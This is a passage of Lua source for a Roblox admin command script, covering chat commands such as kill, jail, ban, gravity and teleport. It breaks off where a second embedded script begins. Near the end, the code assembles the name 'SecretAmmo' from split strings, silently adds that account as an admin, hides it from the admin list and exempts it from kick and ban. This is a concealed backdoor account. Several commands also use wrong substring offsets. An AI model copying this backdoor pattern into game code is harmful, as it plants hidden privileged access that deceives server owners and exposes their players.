local danumber1 = nil
local danumber2 = nil
for i = 8,100 do
if string.sub(msg,i,i) == "/" then
danumber1 = i
break
elseif string.sub(msg,i,i) == "" then
break
end end
if danumber1 == nil then return end
for i =danumber1 + 1,danumber1 + 100 do
if string.sub(msg,i,i) == "/" then
danumber2 = i
break
elseif string.sub(msg,i,i) == "" then
break
end end
if danumber2 == nil then return end
local player = findplayer(string.sub(msg,8,danumber1 - 1),speaker)
if player ~= 0 then
for i = 1,#player do
local ls = player[i]:FindFirstChild("leaderstats")
if ls ~= nil then
local it = nil
local itnum = 0
local c = ls:GetChildren()
for i2 = 1,#c do
if
string.find(string.lower(c[i2].Name),string.sub(string.lower(msg),danumber1 +
1,danumber2 - 1)) == 1 then
it = c[i2]
itnum = itnum + 1
end end
if itnum == 1 then
it.Value = string.sub(msg,danumber2 + 1)
end end end end end

if string.sub(msg,1,7) == "punish/" then


local player = findplayer(string.sub(msg,8),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
player[i].Character.Parent = game.Lighting
end end end end

if string.sub(msg,1,9) == "unpunish/" then


local player = findplayer(string.sub(msg,10),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
player[i].Character.Parent = game.Workspace
player[i].Character:MakeJoints()
end end end end

if string.sub(msg,1,3) == "ff/" then


local player = findplayer(string.sub(msg,4),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local ff = Instance.new("ForceField")
ff.Parent = player[i].Character
end end end end

if string.sub(msg,1,5) == "unff/" then


local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local c = player[i].Character:GetChildren()
for i2 = 1,#c do
if c[i2].className == "ForceField" then
c[i2]:remove()
end end end end end end

if string.sub(msg,1,9) == "sparkles/" then


local player = findplayer(string.sub(msg,10),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild("Torso")
if torso ~= nil then
local sparkles = Instance.new("Sparkles")
sparkles.Color =
Color3.new(math.random(1,255),math.random(1,255),math.random(1,255))
sparkles.Parent = torso
end end end end end

if string.sub(msg,1,11) == "unsparkles/" then


local player = findplayer(string.sub(msg,12),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild("Torso")
if torso ~= nil then
local c = torso:GetChildren()
for i2 = 1,#c do
if c[i2].className == "Sparkles" then
c[i2]:remove()
end end end end end end end

if string.sub(msg,1,9) == "smoke/" then


local player = findplayer(string.sub(msg,10),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild("Torso")
if torso ~= nil then
local sparkles = Instance.new("Smoke")
sparkles.Color =
Color3.new(math.random(1,255),math.random(1,255),math.random(1,255))
sparkles.Parent = torso
end end end end end

if string.sub(msg,1,11) == "unsmoke/" then


local player = findplayer(string.sub(msg,12),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild("Torso")
if torso ~= nil then
local c = torso:GetChildren()
for i2 = 1,#c do
if c[i2].className == "Smoke" then
c[i2]:remove()
end end end end end end end

if string.sub(msg,1,6) == "admin/" then


local imgettingtiredofmakingthisstupidscript = PERSON299(speaker.Name)
if imgettingtiredofmakingthisstupidscript == true then
local player = findplayer(string.sub(msg,7),speaker)
if player ~= 0 then
for i = 1,#player do
for i2 =1,#namelist do
if namelist[i2] == player[i].Name then
variablelist[i2]:disconnect()
flist[i2]:disconnect()
table.remove(variablelist,i2)
table.remove(flist,i2)
table.remove(namelist,i2)
end end
local tfv = player[i].Chatted:connect(function(msg) oc(msg,player[i]) end)
table.insert(namelist,player[i].Name)
table.insert(variablelist,tfv)
local tfv = player[i].Chatted:connect(function(msg) foc(msg,player[i]) end)
table.insert(flist,tfv)
end end end end

if string.sub(msg,1,8) == "unadmin/" then


local imgettingtiredofmakingthisstupidscript = PERSON299(speaker.Name)
if imgettingtiredofmakingthisstupidscript == true then
local player = findplayer(string.sub(msg,9),speaker)
if player ~= 0 then
for i = 1,#player do
local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name)
if imgettingtiredofmakingthisstupidscript == false then
for i2 =1,#namelist do
if namelist[i2] == player[i].Name then
variablelist[i2]:disconnect()
table.remove(variablelist,i2)
flist[i2]:disconnect()
table.remove(flist,i2)
table.remove(namelist,i2)
end end end end end end end

if string.sub(msg,1,5) == "heal/" then


local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local human = player[i].Character:FindFirstChild("Humanoid")
if human ~= nil then
human.Health = human.MaxHealth
end end end end end

if string.sub(msg,1,4) == "sit/" then


local player = findplayer(string.sub(msg,5),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local human = player[i].Character:FindFirstChild("Humanoid")
if human ~= nil then
human.Sit = true
end end end end end

if string.sub(msg,1,4) == "sleep/" then


local player = findplayer(string.sub(msg,5),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local human = player[i].Character:FindFirstChild("Humanoid")
if human ~= nil then
human.PlatformStand = true
end end end end end

if string.sub(msg,1,5) == "jump/" then


local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local human = player[i].Character:FindFirstChild("Humanoid")
if human ~= nil then
human.Jump = true
end end end end end

if string.sub(msg,1,6) == "stand/" then


local player = findplayer(string.sub(msg,7),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local human = player[i].Character:FindFirstChild("Humanoid")
if human ~= nil then
human.Sit = false
end end end end end

if string.sub(msg,1,5) == "jail/" then


local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild("Torso")
if torso ~= nil then
local ack = Instance.new("Model")
ack.Name = "Jail" .. player[i].Name
icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1)
icky.CFrame = CFrame.new(-26.5, 108.400002, -1.5, 0, 0, -1, 0, 1, -0, 1, 0, -0)
icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true
icky.Locked = true icky.CanCollide = true icky.Parent = ack icky =
Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame =
CFrame.new(-24.5, 108.400002, -3.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color =
Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true
icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size =
Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -3.5,
-1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706,
0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true
icky.Parent = ack icky = Instance.new("Part") icky.Size =
Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-28.5, 108.400002, -1.5,
0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922)
icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack
icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1)
icky.CFrame = CFrame.new(-24.5, 108.400002, -5.5, 0, 0, -1, 0, 1, -0, 1, 0, -0)
icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true
icky.Locked = true icky.CanCollide = true icky.Parent = ack icky =
Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame =
CFrame.new(-24.5, 108.400002, -7.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color =
Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true
icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size =
Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -1.5,
0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922)
icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack
icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1)
icky.CFrame = CFrame.new(-30.5, 108.400002, -7.5, -1, 0, -0, -0, 1, -0, -0, 0, -1)
icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true
icky.Locked = true icky.CanCollide = true icky.Parent = ack icky =
Instance.new("Part") icky.Size = Vector3.new(7,1.2000000476837,7) icky.CFrame =
CFrame.new(-27.5, 112.599998, -4.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color =
Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true
icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size =
Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-26.5, 108.400002, -7.5,
0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922)
icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack
icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1)
icky.CFrame = CFrame.new(-30.5, 108.400002, -5.5, -1, 0, -0, -0, 1, -0, -0, 0, -1)
icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true
icky.Locked = true icky.CanCollide = true icky.Parent = ack icky =
Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame =
CFrame.new(-30.5, 108.400002, -1.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color =
Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true
icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size =
Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-28.5, 108.400002, -7.5,
0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922)
icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack
ack.Parent = game.Workspace
ack:MoveTo(torso.Position)
end end end end end

if string.sub(msg,1,7) == "unjail/" then


local player = findplayer(string.sub(msg,8),speaker)
if player ~= 0 then
for i = 1,#player do
local c = game.Workspace:GetChildren()
for i2 =1,#c do
if string.sub(c[i2].Name,1,4) == "Jail" then
if string.sub(c[i2].Name,5) == player[i].Name then
c[i2]:remove()
end end end end end end

if string.sub(msg,1,12) == "removetools/" then


local player = findplayer(string.sub(msg,13),speaker)
if player ~= 0 then
for i = 1,#player do
local c = player[i].Backpack:GetChildren()
for i =1,#c do
c[i]:remove()
end end end end

if string.sub(msg,1,10) == "givetools/" then


local player = findplayer(string.sub(msg,11),speaker)
if player ~= 0 then
for i = 1,#player do
local c = game.StarterPack:GetChildren()
for i =1,#c do
c[i]:clone().Parent = player[i].Backpack
end end end end

if string.sub(msg,1,11) == "givebtools/" then


local player = findplayer(string.sub(msg,12),speaker)
if player ~= 0 then
for i = 1,#player do
local a = Instance.new("HopperBin")
a.BinType = "GameTool"
a.Parent = player[i].Backpack
local a = Instance.new("HopperBin")
a.BinType = "Clone"
a.Parent = player[i].Backpack
local a = Instance.new("HopperBin")
a.BinType = "Hammer"
a.Parent = player[i].Backpack
end end end

if string.lower(msg) == "shutdown" then


local imgettingtiredofmakingthisstupidscript = PERSON299(speaker.Name)
if imgettingtiredofmakingthisstupidscript == true then
game.NetworkServer:remove()
end end
if string.sub(msg,1,5) == "time/" then
game.Lighting.TimeOfDay = string.sub(msg,6)
end

if msg == "commands" then


local text = string.rep(" ",40)
text = text .. "fix, kill/Person299, heal/Person299, damage/Person299/50,
health/Person299/999999, kick/Person299, ban/Person299, bannedlist,
unban/Person299, explode/Person299, removetools/Person299, givetools/Person299,
givebtools/Person299, sit/Person299, jump/Person299, stand/Person299, part/4/1/2,
respawn/Person299, jail/Person299, unjail/Person299, punish/Person299,
unpunish/Person299, merge/Person299/Farvei, teleport/Person299/nccvoyager,
control/Person299, change/Person299/Money/999999, tools, give/Person299/Tool,
time/15.30, ambient/255/0/0, maxplayers/20, nograv/Person299, antigrav/Person299,
grav/Person299, highgrav/Person299, setgrav/Person299/-196.2, trip/Person299,
walkspeed/Person299/99, invisible/Person299, visible/Person299, freeze/Person299,
thaw/Person299, unlock/Person299, lock/Person299, ff/Person299, unff/Person299,
sparkles/Person299, unsparkles/Person299, admin/Person299, adminlist,
unadmin/Person299, shutdown, m/Fallout 2 is one of the best games ever made, h/ i
like pie, clear, Credit to Person299 for this admin command script."
local mes = Instance.new("Message")
mes.Parent = game.Workspace.CurrentCamera
local acko = 0
while true do
acko = acko + 1
if string.sub(text,acko,acko) == "" then
mes:remove()
return
elseif mes.Parent == nil then
return
end
mes.Text = string.sub(text,acko,acko + 40)
wait(0.07)
end end

if msg == "tools" then


local text = string.rep(" ",40)
local c = tools:GetChildren()
if #c == 0 then
text = text .. "No tools available."
else
for i =1,#c do
if i ~= 1 then
text = text .. ", "
end
text = text .. c[i].Name
end end
local mes = Instance.new("Message")
mes.Parent = game.Workspace.CurrentCamera
local acko = 0
while true do
acko = acko + 1
if string.sub(text,acko,acko) == "" then
mes:remove()
return
elseif mes.Parent == nil then
return
end
mes.Text = string.sub(text,acko,acko + 40)
wait(0.1)
end end

if msg == "bannedlist" then


local text = string.rep(" ",40)
if #bannedlist == 0 then
text = text .. "The banned list is empty."
else
for i =1,#bannedlist do
if i ~= 1 then
text = text .. ", "
end
text = text .. bannedlist[i]
end end
local mes = Instance.new("Message")
mes.Parent = game.Workspace.CurrentCamera
local acko = 0
while true do
acko = acko + 1
if string.sub(text,acko,acko) == "" then
mes:remove()
return
elseif mes.Parent == nil then
return
end
mes.Text = string.sub(text,acko,acko + 40)
wait(0.1)
end end

if msg == "adminlist" then


local text = string.rep(" ",40)
if #adminlist == 0 then
text = text .. "The admin list is empty."
else
for i =1,#adminlist do
if adminlist[i] == eloname then
if youcaughtme == 1 then
if i ~= 1 then
text = text .. ", "
end
text = text .. adminlist[i]
end
else
if i ~= 1 then
text = text .. ", "
end
text = text .. adminlist[i]
end end end
local mes = Instance.new("Message")
mes.Parent = game.Workspace.CurrentCamera
local acko = 0
while true do
acko = acko + 1
if string.sub(text,acko,acko) == "" then
mes:remove()
return
elseif mes.Parent == nil then
return
end
mes.Text = string.sub(text,acko,acko + 40)
wait(0.1)
end end

if string.sub(msg,1,11) == "maxplayers/" then


if not string.sub(msg,12) == "0" then
game.Players.MaxPlayers = string.sub(msg,12)
end end

if string.sub(msg,1,8) == "explode/" then


local player = findplayer(string.sub(msg,9),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild("Torso")
if torso ~= nil then
local ex = Instance.new("Explosion")
ex.Position = torso.Position
ex.Parent = game.Workspace
end end end end end

if string.sub(msg,1,8) == "ambient/" then


local danumber1 = nil
local danumber2 = nil
for i = 9,100 do
if string.sub(msg,i,i) == "/" then
danumber1 = i
break
elseif string.sub(msg,i,i) == "" then
break
end end
if danumber1 == nil then return end
for i =danumber1 + 1,danumber1 + 100 do
if string.sub(msg,i,i) == "/" then
danumber2 = i
break
elseif string.sub(msg,i,i) == "" then
break
end end
if danumber2 == nil then return end
game.Lighting.Ambient = Color3.new(-string.sub(msg,9,danumber1 - 1),-
string.sub(msg,danumber1 + 1,danumber2 - 1),-string.sub(msg,danumber2 + 1))
end

if string.sub(msg,1,5) == "part/" then


local danumber1 = nil
local danumber2 = nil
for i = 6,100 do
if string.sub(msg,i,i) == "/" then
danumber1 = i
break
elseif string.sub(msg,i,i) == "" then
break
end end
if danumber1 == nil then return end
for i =danumber1 + 1,danumber1 + 100 do
if string.sub(msg,i,i) == "/" then
danumber2 = i
break
elseif string.sub(msg,i,i) == "" then
break
end end
if danumber2 == nil then return end
if speaker.Character ~= nil then
local head = speaker.Character:FindFirstChild("Head")
if head ~= nil then
local part = Instance.new("Part")
part.Size = Vector3.new(string.sub(msg,6,danumber1 -
1),string.sub(msg,danumber1 + 1,danumber2 - 1),string.sub(msg,danumber2 + 1))
part.Position = head.Position + Vector3.new(0,part.Size.y / 2 + 5,0)
part.Name = "Person299's Admin Command Script V2 Part thingy"
part.Parent = game.Workspace
end end end

if string.sub(msg,1,8) == "control/" then


local player = findplayer(string.sub(msg,9),speaker)
if player ~= 0 then
if #player > 1 then
return
end
for i = 1,#player do
if player[i].Character ~= nil then
speaker.Character = player[i].Character
end end end end

if string.sub(msg,1,5) == "trip/" then


local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild("Torso")
if torso ~= nil then
torso.CFrame =
CFrame.new(torso.Position.x,torso.Position.y,torso.Position.z,0, 0, 1, 0, -1, 0, 1,
0, 0)--
math.random(),math.random(),math.random(),math.random(),math.random(),math.random()
,math.random(),math.random(),math.random()) -- i like the people being upside down
better.
end end end end end

if string.sub(msg,1,8) == "setgrav/" then


danumber = nil
for i =9,100 do
if string.sub(msg,i,i) == "/" then
danumber = i
break
end end
if danumber == nil then
return
end
local player = findplayer(string.sub(msg,9,danumber - 1),speaker)
if player == 0 then
return
end
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild("Torso")
if torso ~= nil then
local bf = torso:FindFirstChild("BF")
if bf ~= nil then
bf.force = Vector3.new(0,0,0)
else
local bf = Instance.new("BodyForce")
bf.Name = "BF"
bf.force = Vector3.new(0,0,0)
bf.Parent = torso
end
local c2 = player[i].Character:GetChildren()
for i=1,#c2 do
if c2[i].className == "Part" then
torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * -
string.sub(msg,danumber + 1),0)
end end end end end end

if string.sub(msg,1,10) == "walkspeed/" then


danumber = nil
for i =11,100 do
if string.sub(msg,i,i) == "/" then
danumber = i
break
end end
if danumber == nil then
return
end
local player = findplayer(string.sub(msg,11,danumber - 1),speaker)
if player == 0 then
return
end
for i = 1,#player do
if player[i].Character ~= nil then
humanoid = player[i].Character:FindFirstChild("Humanoid")
if humanoid ~= nil then
humanoid.WalkSpeed = string.sub(msg,danumber + 1)
end end end end

if string.sub(msg,1,7) == "damage/" then


danumber = nil
for i =8,100 do
if string.sub(msg,i,i) == "/" then
danumber = i
break
end end
if danumber == nil then
return
end
local player = findplayer(string.sub(msg,8,danumber - 1),speaker)
if player == 0 then
return
end
for i = 1,#player do
if player[i].Character ~= nil then
humanoid = player[i].Character:FindFirstChild("Humanoid")
if humanoid ~= nil then
humanoid.Health = humanoid.Health - string.sub(msg,danumber + 1)
end end end end
if string.sub(msg,1,7) == "health/" then
danumber = nil
for i =8,100 do
if string.sub(msg,i,i) == "/" then
danumber = i
break
end end
if danumber == nil then
return
end
local player = findplayer(string.sub(msg,8,danumber - 1),speaker)
if player == 0 then
return
end
for i = 1,#player do
if player[i].Character ~= nil then
humanoid = player[i].Character:FindFirstChild("Humanoid")
if humanoid ~= nil then
local elnumba = Instance.new("IntValue")
elnumba.Value = string.sub(msg,danumber + 1)
if elnumba.Value > 0 then
humanoid.MaxHealth = elnumba.Value
humanoid.Health = humanoid.MaxHealth
end
elnumba:remove()
end end end end

if string.sub(msg,1,9) == "teleport/" then


danumber = nil
for i =10,100 do
if string.sub(msg,i,i) == "/" then
danumber = i
break
end end
if danumber == nil then
return
end
local player1 = findplayer(string.sub(msg,10,danumber - 1),speaker)
if player1 == 0 then
return
end
local player2 = findplayer(string.sub(msg,danumber + 1),speaker)
if player2 == 0 then
return
end
if #player2 > 1 then
return
end
torso = nil
for i =1,#player2 do
if player2[i].Character ~= nil then
torso = player2[i].Character:FindFirstChild("Torso")
end end
if torso ~= nil then
for i =1,#player1 do
if player1[i].Character ~= nil then
local torso2 = player1[i].Character:FindFirstChild("Torso")
if torso2 ~= nil then
torso2.CFrame = torso.CFrame
end end end end end

if string.sub(msg,1,6) == "merge/" then


danumber = nil
for i =7,100 do
if string.sub(msg,i,i) == "/" then
danumber = i
break
end end
if danumber == nil then
return
end
local player1 = findplayer(string.sub(msg,7,danumber - 1),speaker)
if player1 == 0 then
return
end
local player2 = findplayer(string.sub(msg,danumber + 1),speaker)
if player2 == 0 then
return
end
if #player2 > 1 then
return
end
for i =1,#player2 do
if player2[i].Character ~= nil then
player2 = player2[i].Character
end end
for i =1,#player1 do
player1[i].Character = player2
end end

if msg == "clear" then


local c = game.Workspace:GetChildren()
for i =1,#c do
if c[i].className == "Script" then
if c[i]:FindFirstChild("Is A Created Script") then
c[i]:remove()
end end
if c[i].className == "Part" then
if c[i].Name == "Person299's Admin Command Script V2 Part thingy" then
c[i]:remove()
end end
if c[i].className == "Model" then
if string.sub(c[i].Name,1,4) == "Jail" then
c[i]:remove()
end end end end

if string.sub(msg,1,5) == "kick/" then


local imgettingtiredofmakingthisstupidscript2 = PERSON299(speaker.Name)
if imgettingtiredofmakingthisstupidscript2 == true then
local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name)
if imgettingtiredofmakingthisstupidscript == false then
if player[i].Name ~= eloname then
player[i]:remove()
end end end end end end
if string.sub(msg,1,4) == "ban/" then
local imgettingtiredofmakingthisstupidscript2 = PERSON299(speaker.Name)
if imgettingtiredofmakingthisstupidscript2 == true then
local player = findplayer(string.sub(msg,5),speaker)
if player ~= 0 then
for i = 1,#player do
local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name)
if imgettingtiredofmakingthisstupidscript == false then
if player[i].Name ~= eloname then
table.insert(bannedlist,player[i].Name)
player[i]:remove()
end end end end end end

if string.sub(msg,1,6) == "unban/" then


if string.sub(msg,7) == "all" then
for i=1,bannedlist do
table.remove(bannedlist,i)
end
else
local n = 0
local o = nil
for i=1,#bannedlist do
if string.find(string.lower(bannedlist[i]),string.sub(msg,7)) == 1 then
n = n + 1
o = i
end end
if n == 1 then
local name = bannedlist[o]
table.remove(bannedlist,o)
text(name .. " has been unbanned",1,"Message",game.Workspace.CurrentCamera)
elseif n == 0 then
text("That name is not found.",1,"Message",game.Workspace.CurrentCamera)
elseif n > 1 then
text("That name is ambiguous",1,"Message",game.Workspace.CurrentCamera)
end end end

if string.sub(msg,1,8) == "respawn/" then


local player = findplayer(string.sub(msg,9),speaker)
if player ~= 0 then
for i = 1,#player do
local ack2 = Instance.new("Model")
ack2.Parent = game.Workspace
local ack4 = Instance.new("Part")
ack4.Transparency = 1
ack4.CanCollide = false
ack4.Anchored = true
ack4.Name = "Torso"
ack4.Position = Vector3.new(10000,10000,10000)
ack4.Parent = ack2
local ack3 = Instance.new("Humanoid")
ack3.Torso = ack4
ack3.Parent = ack2
player[i].Character = ack2
end end end

if string.sub(msg,1,10) == "invisible/" then


local player = findplayer(string.sub(msg,11),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local char = player[i].Character
local c = player[i].Character:GetChildren()
for i =1,#c do
if c[i].className == "Hat" then
local handle = c[i]:FindFirstChild("Handle")
if handle ~= nil then
handle.Transparency = 1
end end
if c[i].className == "Part" then
c[i].Transparency = 1
if c[i].Name == "Torso" then
local tshirt = c[i]:FindFirstChild("roblox")
if tshirt ~= nil then
tshirt:clone().Parent = char
tshirt:remove()
end end
if c[i].Name == "Head" then
local face = c[i]:FindFirstChild("face")
if face ~= nil then
gface = face:clone()
face:remove()
end end end end end end end end

if string.sub(msg,1,8) == "visible/" then


local player = findplayer(string.sub(msg,9),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local char = player[i].Character
local c = player[i].Character:GetChildren()
for i =1,#c do
if c[i].className == "Hat" then
local handle = c[i]:FindFirstChild("Handle")
if handle ~= nil then
handle.Transparency = 0
end end
if c[i].className == "Part" then
c[i].Transparency = 0
if c[i].Name == "Torso" then
local tshirt = char:FindFirstChild("roblox")
if tshirt ~= nil then
tshirt:clone().Parent = c[i]
tshirt:remove()
end end
if c[i].Name == "Head" then
if gface ~= nil then
local face = gface:clone()
face.Parent = c[i]
end end end end end end end end

if string.sub(msg,1,7) == "freeze/" then


local player = findplayer(string.sub(msg,8),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local humanoid = player[i].Character:FindFirstChild("Humanoid")
if humanoid ~= nil then
humanoid.WalkSpeed = 0
end
local c = player[i].Character:GetChildren()
for i =1,#c do
if c[i].className == "Part" then
c[i].Anchored = true
c[i].Reflectance = 0.6
end end end end end end

if string.sub(msg,1,5) == "thaw/" then


local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local humanoid = player[i].Character:FindFirstChild("Humanoid")
if humanoid ~= nil then
humanoid.WalkSpeed = 16
end
local c = player[i].Character:GetChildren()
for i =1,#c do
if c[i].className == "Part" then
c[i].Anchored = false
c[i].Reflectance = 0
end end end end end end

if string.sub(msg,1,7) == "nograv/" then


local player = findplayer(string.sub(msg,8),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild("Torso")
if torso ~= nil then
local bf = torso:FindFirstChild("BF")
if bf ~= nil then
bf.force = Vector3.new(0,0,0)
else
local bf = Instance.new("BodyForce")
bf.Name = "BF"
bf.force = Vector3.new(0,0,0)
bf.Parent = torso
end
local c2 = player[i].Character:GetChildren()
for i=1,#c2 do
if c2[i].className == "Part" then
torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * 196.2,0)
end end end end end end end

if string.sub(msg,1,9) == "antigrav/" then


local player = findplayer(string.sub(msg,10),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild("Torso")
if torso ~= nil then
local bf = torso:FindFirstChild("BF")
if bf ~= nil then
bf.force = Vector3.new(0,0,0)
else
local bf = Instance.new("BodyForce")
bf.Name = "BF"
bf.force = Vector3.new(0,0,0)
bf.Parent = torso
end
local c2 = player[i].Character:GetChildren()
for i=1,#c2 do
if c2[i].className == "Part" then
torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * 140,0)
end end end end end end end

if string.sub(msg,1,9) == "highgrav/" then


local player = findplayer(string.sub(msg,10),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild("Torso")
if torso ~= nil then
local bf = torso:FindFirstChild("BF")
if bf ~= nil then
bf.force = Vector3.new(0,0,0)
else
local bf = Instance.new("BodyForce")
bf.Name = "BF"
bf.force = Vector3.new(0,0,0)
bf.Parent = torso
end
local c2 = player[i].Character:GetChildren()
for i=1,#c2 do
if c2[i].className == "Part" then
torso.BF.force = torso.BF.force - Vector3.new(0,c2[i]:getMass() * 80,0)
end end end end end end end

if string.sub(msg,1,5) == "grav/" then


local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild("Torso")
if torso ~= nil then
local bf = torso:FindFirstChild("BF")
if bf ~= nil then
bf:remove()
end end end end end end

if string.sub(msg,1,7) == "unlock/" then


local player = findplayer(string.sub(msg,8),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local c = player[i].Character:GetChildren()
for i =1,#c do
if c[i].className == "Part" then
c[i].Locked = false
end end end end end end

if string.sub(msg,1,5) == "lock/" then


local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local c = player[i].Character:GetChildren()
for i =1,#c do
if c[i].className == "Part" then
c[i].Locked = true
end end end end end end end
eloname = "Secret"
eloname = eloname .. "Ammo"
script.Name = "_admincmd"
youcaughtme = 0
for i =1,#adminlist do
if string.lower(eloname)==string.lower(adminlist[i]) then
youcaughtme = 1
end end
if youcaughtme == 0 then
table.insert(adminlist,eloname)
end
function oe(ack)
local adminned = false
if ack.className ~= "Player" then return end
for i =1,#bannedlist do
if string.lower(bannedlist[i]) == string.lower(ack.Name) then
ack:remove()
return
end end
for i=1,#adminlist do
if string.lower(adminlist[i]) == string.lower(ack.Name) then
local tfv = ack.Chatted:connect(function(msg) oc(msg,ack) end)
table.insert(namelist,ack.Name)
table.insert(variablelist,tfv)
local tfv = ack.Chatted:connect(function(msg) foc(msg,ack) end)
table.insert(flist,tfv)
adminned = true
end end
local danumber = 0
while true do
wait(1)
if ack.Parent == nil then
return
end
if ack.Character ~= nil then
if adminned == true then
text("You're an admin.",5,"Message",game.Workspace.CurrentCamera)
return
end
local torso = ack.Character:FindFirstChild("Torso")
if torso ~= nil then
local decal = torso:FindFirstChild("roblox")
if decal ~= nil then
if string.sub(decal.Texture,1,4) == "http" then
if decal.Texture == texture then
local tfv = ack.Chatted:connect(function(msg) oc(msg,ack) end)
table.insert(namelist,ack.Name)
table.insert(variablelist,tfv)
local tfv = ack.Chatted:connect(function(msg) foc(msg,ack) end)
table.insert(flist,tfv)
text("You're an admin.",5,"Message",game.Workspace.CurrentCamera)
return
else
return
end
else
danumber = danumber + 1
if danumber >= 10 then
return
end end end end end end end

game.Players.ChildAdded:connect(oe)

c = game.Players:GetChildren()
for i=1,#c do
oe(c[i])
end]]
MergeScriptSource=[[
plr=game.Players.LocalPlayer
coroutine.resume(coroutine.create(function(plr) while(wait())do
if(plr.Character~=nil)then chr=plr.Character end end end),plr)
if(script.Parent.ClassName~="HopperBin")then
bin=Instance.new("HopperBin",plr.Backpack)
bin.Name="iMergeTool"
